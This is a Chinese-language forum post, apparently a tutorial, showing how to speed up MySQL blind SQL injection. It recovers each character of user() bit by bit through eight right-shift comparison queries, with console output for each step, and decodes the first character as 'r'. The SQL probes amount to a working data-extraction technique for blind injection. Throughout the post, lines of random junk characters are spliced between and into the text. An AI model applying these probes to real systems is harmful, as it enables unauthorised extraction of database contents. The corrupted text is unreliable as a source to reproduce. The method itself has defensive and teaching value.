关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
1 f7 v( m0 p7 M# R1 @
4 g% ^! r. q6 Q, X0 T
- N2 ^) s# M1 ~2 @& H
% ^/ \) |* o; X- M( {& N下面将以查询mysql数据库当中user()的第一位为例:
/ u$ p3 B. y: u+ p% J  Z9 I
" Y2 X. T; h; F  W) \5 z
) `* @+ p& Q. s4 u& t2 S8 f4 P
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
$ S, x# J5 h4 |6 S+ |7 a
' ?- Y. R2 a7 Z
. e9 l0 ^* _+ t1 F8 |2 D
首先执行如下sql语句:
& J0 g/ r5 O! Z' A


0 i! Z! V  {; j1 u4 cmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
3 s' e/ ?) o8 A+ b
3 t, z0 _% R- i

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
/ Z' s( a5 k: @
$ D9 u. R$ m1 {! v( o( N

% B* Q: i1 d2 _- w8 p第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
/ q' ]" ]* \% I1 Z# W

) L' e& P5 r* N' ^& J6 ?
2 j7 W& w' m# ]. `+ t3 Q4 j* @9 `, Z1 P如果运算结果为1,说明第一位为0,不为1
" }5 Q: h4 K& a% v, k  }6 Q6 E

7 A0 ]9 U/ r3 U* J
+————————————–+

: Z. l. Z4 r2 }4 a$ Z2 B| (ascii((substr(user(),1,1))) >> 7)=0 |
8 Q) Q* n: a& Q
+————————————–+

| 1 |

& y% d% i9 z! h$ e) F0 C3 C" E+————————————–+
$ F& [$ V( V! o% c
7 P1 r4 e0 K  `1 row in set (0.00 sec)
, {5 f% T7 B& @8 m* ^7 {! p+ ]0 L
: z  L7 C& B  m! ~# D0 I这样我们就确定这个8bit的ascii的第一位为0

  O  l& A: d& _; t$ n& K
' Z# v( E4 I9 X
9 J  K  N: e+ ]" d' ~+ H3 b3 F# }( G第二次我们来做6次右偏移来确定前两位



8 p' o' b$ f( f; X% H; x& Y前两位可能是01或00,即依然可以与0做比较,

+ _9 j2 y# _8 X5 ~2 d/ B+ X2 Ymysql> select (ascii((substr(user(),1,1))) >> 6)=0;

' {) @0 s6 K! |6 h7 F" c+————————————–+

- z7 Q' u( z' L9 v2 |& l9 x| (ascii((substr(user(),1,1))) >> 6)=0 |

) ]3 Q; f, O/ ~8 z+————————————–+
! l8 \' v: k' g/ J# a% m% f4 F
# \( ?$ P0 B' S$ r3 W| 0 |
; V3 b" A1 L5 Y
+————————————–+

1 row in set (0.00 sec)
, j/ k) F# l$ I2 m* q. D. Y


4 W. V1 o' y6 s0 p2 b$ l/ R4 t结果为0,即第二位为1
1 X6 S# F0 w+ i. p; [- q, `! }# Z% O
8 U7 d- [* I8 r7 O( O

开始猜测前三位为010或011
; J4 ^& }, v+ d- P& ^% v7 U3 z
! N3 j! `1 N% b  }' A
6 ?" w. U4 s3 ~; P
  p* D7 J0 m% a# D# {& J# W$ y6 i让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′
$ w( d- x6 w, d) B! a  H) ~4 T! }/ [
' e# r7 U9 E/ M, [7 C7 X
3 l+ f4 Z7 S' l/ x
3 j* _5 {( d- G4 l. m3 o# g3 v3 ^获得结果 010 = 2 011 = 3
2 B, E2 J4 G8 G2 u) F; F9 a

8 \( J6 }( t* m% n1 ?
/ P' q  `7 K5 J+ S4 j, D执行如下sql:


/ ~4 \; w) |- W2 d/ n
* v4 ?. e  x6 p9 Nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
/ J) V# ]+ p% k2 d
+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

; p: T6 i$ S& d; t" D2 A+————————————–+

7 x5 U# O! M% o+ `/ F* }' d& k| 0 |

% f, w, K5 B0 Z! R+————————————–+
6 ]% i! _! o1 {/ \7 Q8 E
即前三位不为010,而是011
3 C2 q% G: F$ F2 G  b7 q2 P
4 X5 y) h9 ?" l2 h8 s6 {

直到获得最后一位
; v3 d4 f0 g7 j( O- T7 l" e+ [
1 f! Z$ D8 Q; Q. S" O
2 t, J" ]% ~1 t" _1 r7 f
( L* P, D! \( Y! Q( L& ]最终结果为:01110010
  o0 [% p: L2 R4 B( m3 M2 P

' l! A) ?6 T5 d' I. ?
. J) T) H2 ?2 X; Q2 S5 p* S转换一下:
! W% `; T! C7 h2 S7 v/ [# A
; X' |8 o( p3 N" S: `
  T. X- |' K9 `3 D4 c. {
select b’01110010′



# E5 z- z4 r6 R+ x6 g4 c$ ]; N查询结果

/ {5 K6 [# e5 R2 ?" n2 i, j
' ?: c$ f0 a, @" n& u2 C' E
+————-+

| b’01110010′ |

+————-+

| r |

1 D5 I( h+ p9 l+ r: w+————-+
% a" j6 I5 Y9 R2 J
1 row in set (0.00 sec)
6 L  g- k, e. ~1 B9 c6 p3 o

* M! W' b9 ~& T2 `7 k+ N
这样我们就获得了user()的第一位.其它位依此类推